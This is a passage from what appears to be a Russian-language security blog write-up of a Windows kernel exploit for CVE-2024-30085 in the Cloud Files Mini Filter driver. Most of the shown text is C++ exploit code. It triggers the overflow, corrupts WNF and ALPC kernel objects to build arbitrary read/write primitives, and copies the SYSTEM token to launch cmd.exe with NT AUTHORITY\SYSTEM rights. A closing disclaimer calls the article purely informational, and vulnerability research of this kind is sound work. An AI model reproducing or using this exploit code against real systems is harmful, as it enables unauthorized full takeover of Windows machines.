trigger(dir, (BYTE*)pReparseDataBuffer, ReparseDataBufferLength); RemoveDirectoryW(dir); std::this_thread::sleep_for(std::chrono::seconds(60));
Удаление папки dir необходимо, потому что в случае неудачи система рухнет и будет падать при последующих перезагрузках. А задержка нужна, чтобы дать время произойти переполнению.
Далее происходит поиск захваченного объекта _WNF_NAME_INSTANCE:
INT32 wnfCorruptedNameIndex = WnfFindCorruptedName(portsCount); if (wnfCorruptedNameIndex == -1) { printf("[-] Corrupted Wnf are not found\n"); return -1; } printf("[+] Found corrupted Wnf at index %d\n", wnfCorruptedNameIndex);
После чего подменяем нулевой хэндл в таблице _ALPC_HANDLE_ENTRY:
BYTE* fakeReserve = AlpcGetFakeMessage(); UINT32 wnfOriginalDataSize = 0xff0; std::vector<UINT8> corruptAlpc; UINT32 corruptAlpcSize = wnfOriginalDataSize + 0x8; // overflow one handle ptr corruptAlpc.reserve(corruptAlpcSize); memset(corruptAlpc.data(), 'W', wnfOriginalDataSize); *((BYTE**)(corruptAlpc.data() + wnfOriginalDataSize)) = fakeReserve; // corrupt Alpc handle if (!WnfRelativeWrite(wnfCorruptedNameIndex, corruptAlpc.data(), corruptAlpcSize)) { printf("[-] wnfRelativeWrite failed\n"); return -1; }
И применяем технику Token Stealing в финале:
// read system token BYTE* outputData = (BYTE*)calloc(1, 0x1000); AlpcArbitraryRead(portsCount, pipeAttributeAddr, systemEPROCaddr, outputData, 0x1000); ULONG tokenOffset = 0x4b8; ULONG_PTR systemTtoken = *(ULONG_PTR*)(outputData + tokenOffset); if (!systemTtoken) { printf("[-] System TOKEN are not found\n"); return -1; } printf("[+] System TOKEN: %p\n", systemTtoken); ULONG_PTR targetToken = EPROCaddr + tokenOffset; ULONG_PTR* payload = (ULONG_PTR*)calloc(1, 0x8); payload[0] = systemTtoken; // replace target token with system token BOOL bRetNoMatter = AlpcArbitraryWrite(portsCount, (BYTE*)targetToken, (BYTE*)payload, 0x8); // returns false, but writting actually works STARTUPINFO StartupInfo = { 0 }; PROCESS_INFORMATION ProcessInformation = { 0 }; BOOL bRet = CreateProcess( "C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation ); if (!bRet) { printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError()); return -1; }
Слить адреса токенов можно через метод NtQuerySystemInformation. Пример есть у Нассима. А результат успешной работы эксплойта выглядит так.

Результат
В результате, используя уязвимость CVE-2024-30085 в драйвере Windows Cloud Files Mini Filter и связку WNF + ALPC, мы создали примитивы на чтение и запись в ядерную память. Благодаря чему, украли системный токен и запустили терминал с правами NT AUTHORITY\SYSTEM.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в интернете. Авторы не несут ответственности за использование опубликованной информации. Помните, что нужно следить за защищенностью своих данных.
